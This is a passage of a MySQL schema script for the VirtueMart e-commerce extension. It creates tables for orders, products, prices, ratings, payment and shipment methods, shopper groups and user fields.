'0', `customer_notified` tinyint(1) NOT NULL DEFAULT '0', `comments` varchar(21000), `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_history_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores all actions and changes that occur to an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_items` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_items` ( `virtuemart_order_item_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(11), `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `virtuemart_product_id` int(11), `order_item_sku` char(64) NOT NULL DEFAULT '', `order_item_name` char(255) NOT NULL DEFAULT '', `product_quantity` int(11), `product_item_price` decimal(15,5), `product_priceWithoutTax` decimal(15,5), `product_tax` decimal(15,5), `product_basePriceWithTax` decimal(15,5), `product_discountedPriceWithoutTax` decimal(15,5), `product_final_price` decimal(15,5) NOT NULL DEFAULT '0.00000', `product_subtotal_discount` decimal(15,5) NOT NULL DEFAULT '0.00000', `product_subtotal_with_tax` decimal(15,5) NOT NULL DEFAULT '0.00000', `order_item_currency` INT(11), `order_status` char(1), `product_attribute` text, `delivery_date` varchar(200), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_item_id`), KEY `virtuemart_product_id` (`virtuemart_product_id`), KEY `i_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `order_status` (`order_status`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores all items (products) which are part of an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_calc_rules` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_calc_rules` ( `virtuemart_order_calc_rule_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_calc_id` int(11), `virtuemart_order_id` int(11), `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `virtuemart_order_item_id` int(11), `calc_rule_name` char(64) NOT NULL DEFAULT '' COMMENT 'Name of the rule', `calc_kind` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_mathop` char(16) NOT NULL DEFAULT '' COMMENT 'Discount/Tax/Margin/Commission', `calc_amount` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_result` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_value` decimal(15,5) NOT NULL DEFAULT '0.00000', `calc_currency` smallint(1), `calc_params` varchar(18000), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_calc_rule_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Stores all calculation rules which are part of an order' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_orderstates` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_orderstates` ( `virtuemart_orderstate_id` tinyint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `order_status_code` char(1) NOT NULL DEFAULT '', `order_status_name` char(64), `order_status_description` varchar(20000), `order_stock_handle` char(1) NOT NULL DEFAULT 'A', `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_orderstate_id`), KEY `idx_order_status_ordering` (`ordering`), KEY `idx_order_status_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='All available order statuses' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_order_userinfos` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_order_userinfos` ( `virtuemart_order_userinfo_id` INT(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_order_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `address_type` char(2), `address_type_name` char(32), `company` char(64), `title` char(32), `last_name` char(48), `first_name` char(48), `middle_name` char(48), `phone_1` char(32), `phone_2` char(32), `fax` char(32), `address_1` char(64) NOT NULL DEFAULT '', `address_2` char(64) , `city` char(64) NOT NULL DEFAULT '', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `zip` char(16) NOT NULL DEFAULT '', `email` char(128), `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_order_userinfo_id`), KEY `i_virtuemart_order_id` (`virtuemart_order_id`), KEY `i_virtuemart_user_id` (`virtuemart_user_id`), KEY `idx_address_type` (`address_type`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores the BillTo and ShipTo Information at order time' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_paymentmethods` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_paymentmethods` ( `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `payment_jplugin_id` int(11) NOT NULL DEFAULT '0', `payment_element` char(50) NOT NULL DEFAULT '', `payment_params` varchar(19000), `shared` tinyint(1) NOT NULL DEFAULT '0' COMMENT 'valide for all vendors?', `ordering` int(2) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_paymentmethod_id`), KEY `idx_payment_jplugin_id` (`payment_jplugin_id`), KEY `idx_payment_element` (payment_element,`virtuemart_vendor_id`), KEY `idx_payment_method_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='The payment methods of your store' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_paymentmethod_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_paymentmethod_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_paymentmethod_id` (`virtuemart_paymentmethod_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='xref table for paymentmethods to shoppergroup' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_products` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_products` ( `virtuemart_product_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `product_parent_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_sku` char(64), `product_gtin` char(64), `product_mpn` char(64), `product_weight` decimal(10,4), `product_weight_uom` char(7), `product_length` decimal(10,4), `product_width` decimal(10,4), `product_height` decimal(10,4), `product_lwh_uom` char(7), `product_url` char(255), `product_in_stock` int(1) NOT NULL DEFAULT '0', `product_ordered` int(1) NOT NULL DEFAULT '0', `low_stock_notification` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_available_date` datetime NOT NULL default '0000-00-00 00:00:00', `product_availability` char(32), `product_special` tinyint(1), `product_sales` int(1) UNSIGNED NOT NULL DEFAULT '0', `product_unit` varchar(8), `product_packaging` decimal(8,4) UNSIGNED, `product_params` varchar(2000), `hits` int(11) unsigned, `intnotes` varchar(18000), `metarobot` varchar(400), `metaauthor` varchar(400), `layout` char(16), `published` tinyint(1), `pordering` mediumint(2) UNSIGNED NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_product_id`), KEY `idx_product_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_product_product_parent_id` (`product_parent_id`), KEY `i_product_special` (`product_special`), KEY `i_published` (`published`), KEY `i_pordering` (`pordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='All products are stored here.' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_categories` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_categories` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_category_id` mediumint(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_category_id`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps Products to Categories'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_shoppergroups` -- -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps Products to Categories'; -- -------------------------------------------------------- -- -- Table structure `#__virtuemart_product_customfields` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_customfields` ( `virtuemart_customfield_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT 'field id', `virtuemart_product_id` int(11) NOT NULL DEFAULT '0', `virtuemart_custom_id` int(11) NOT NULL DEFAULT '1' COMMENT 'custom group id', `custom_value` varchar(8000) COMMENT 'field value', `custom_price` decimal(15,5) COMMENT 'price', `custom_param` varchar(12800) COMMENT 'Param for Plugins', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `created_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_customfield_id`), KEY `idx_virtuemart_product_id` (`virtuemart_product_id`), KEY `idx_virtuemart_custom_id` (`virtuemart_custom_id`), KEY `idx_published` (`published`), KEY `idx_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='custom fields' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_medias` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_media_id`), KEY `i_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_manufacturers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_manufacturers` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(11), `virtuemart_manufacturer_id` smallint(1) UNSIGNED, PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_manufacturer_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Maps a product to a manufacturer'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_product_prices` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_product_prices` ( `virtuemart_product_price_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` int(11), `product_price` decimal(15,5), `override` tinyint(1), `product_override_price` decimal(15,5), `product_tax_id` int(11), `product_discount_id` int(11), `product_currency` smallint(1), `product_price_publish_up` datetime, `product_price_publish_down` datetime, `price_quantity_start` int(11) unsigned, `price_quantity_end` int(11) unsigned, `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_product_price_id`), KEY `i_product_id` (`virtuemart_product_id`), KEY `i_virtuemart_shoppergroup_id` (`virtuemart_shoppergroup_id`), KEY `dx_product_price_publish_up` (`product_price_publish_up`), KEY `dx_product_price_publish_down` (`product_price_publish_down`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds price records for a product' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_rating_reviews` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_rating_reviews` ( `virtuemart_rating_review_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `comment` varchar(18000), `review_ok` tinyint(1) NOT NULL DEFAULT '0', `review_rates` int(1) UNSIGNED NOT NULL DEFAULT '0', `review_ratingcount` int(1) UNSIGNED NOT NULL DEFAULT '0', `review_rating` decimal(10,2) NOT NULL DEFAULT '0.00', `review_editable` tinyint(1) NOT NULL DEFAULT '1', `lastip` char(50) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_review_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`created_by`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_ratings` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_ratings` ( `virtuemart_rating_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `rates` int(11) NOT NULL DEFAULT '0', `ratingcount` int(1) UNSIGNED NOT NULL DEFAULT '0', `rating` decimal(10,1) NOT NULL DEFAULT '0.0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`virtuemart_rating_id`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Stores all ratings for a product'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_rating_votes` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_rating_votes` ( `virtuemart_rating_vote_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `vote` int(11) NOT NULL DEFAULT '0', `lastip` char(50) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_rating_vote_id`), UNIQUE KEY `i_virtuemart_product_id` (`virtuemart_product_id`,`created_by`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Stores all ratings for a product'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shipmentmethods` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shipmentmethods` ( `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `shipment_jplugin_id` int(11) NOT NULL DEFAULT '0', `shipment_element` char(50) NOT NULL DEFAULT '', `shipment_params` varchar(19000), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_shipmentmethod_id`), KEY `idx_shipment_jplugin_id` (`shipment_jplugin_id`), KEY `idx_shipment_element` (shipment_element,`virtuemart_vendor_id`), KEY `idx_shipment_method_ordering` (`ordering`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Shipment created from the shipment plugins' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shipmentmethods_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shipmentmethod_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_shipmentmethod_id` (`virtuemart_shipmentmethod_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='xref table for shipment to shoppergroup' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_shoppergroups` ( `virtuemart_shoppergroup_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(11) NOT NULL DEFAULT '1', `shopper_group_name` char(64), `shopper_group_desc` char(128), `custom_price_display` tinyint(1) NOT NULL DEFAULT '0', `price_display` blob, `default` tinyint(1) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_shoppergroup_id`), KEY `idx_shopper_group_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `idx_shopper_group_name` (`shopper_group_name`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Shopper Groups that users can be assigned to' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_states` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_states` ( `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `virtuemart_worldzone_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `state_name` char(64), `state_3_code` char(3), `state_2_code` char(2), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_state_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), UNIQUE KEY `idx_state_3_code` (`virtuemart_vendor_id`,`virtuemart_country_id`,`state_3_code`), UNIQUE KEY `idx_state_2_code` (`virtuemart_vendor_id`,`virtuemart_country_id`,`state_2_code`), KEY `i_virtuemart_country_id` (`virtuemart_country_id`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='States that are assigned to a country' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vmusers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vmusers` ( `virtuemart_user_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `user_is_vendor` tinyint(1) NOT NULL DEFAULT '0', `customer_number` char(32), `perms` char(40) NOT NULL DEFAULT 'shopper', `virtuemart_paymentmethod_id` mediumint(1) UNSIGNED, `virtuemart_shipmentmethod_id` mediumint(1) UNSIGNED, `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_user_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), UNIQUE KEY `i_virtuemart_user_id` (`virtuemart_user_id`,`virtuemart_vendor_id`), KEY `i_user_is_vendor` (`user_is_vendor`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Holds the unique user data' ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vmuser_shoppergroups` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vmuser_shoppergroups` ( `id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_shoppergroup_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_user_id` (`virtuemart_user_id`,`virtuemart_shoppergroup_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='xref table for users to shopper group' ; -- -------------------------------------------------------- CREATE TABLE IF NOT EXISTS `#__virtuemart_permgroups` ( `virtuemart_permgroup_id` tinyint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `group_name` char(128), `group_level` int(11), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_permgroup_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds all the user groups' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userfields` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userfields` ( `virtuemart_userfield_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '1', `userfield_jplugin_id` int(11) NOT NULL DEFAULT '0', `name` char(255) NOT NULL DEFAULT '', `title` char(255) NOT NULL DEFAULT '', `description` mediumtext, `type` char(70) NOT NULL DEFAULT '', `maxlength` int(11), `size` int(11), `required` tinyint(4) NOT NULL DEFAULT '0', `cols` int(11), `rows` int(11), `value` char(255), `default` char(255), `registration` tinyint(1) NOT NULL DEFAULT '0', `shipment` tinyint(1) NOT NULL DEFAULT '0', `account` tinyint(1) NOT NULL DEFAULT '1', `readonly` tinyint(1) NOT NULL DEFAULT '0', `calculated` tinyint(1) NOT NULL DEFAULT '0', `sys` tinyint(4) NOT NULL DEFAULT '0', `params` varchar(17500), `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userfield_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`), KEY `i_ordering` (`ordering`), KEY `i_shared` (`shared`), KEY `i_published` (`published`), KEY `i_account` (`account`), KEY `i_shipment` (`shipment`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds the fields for the user information' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userfield_values` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userfield_values` ( `virtuemart_userfield_value_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_userfield_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `fieldtitle` char(255) NOT NULL DEFAULT '', `fieldvalue` char(255) NOT NULL DEFAULT '', `sys` tinyint(4) NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT 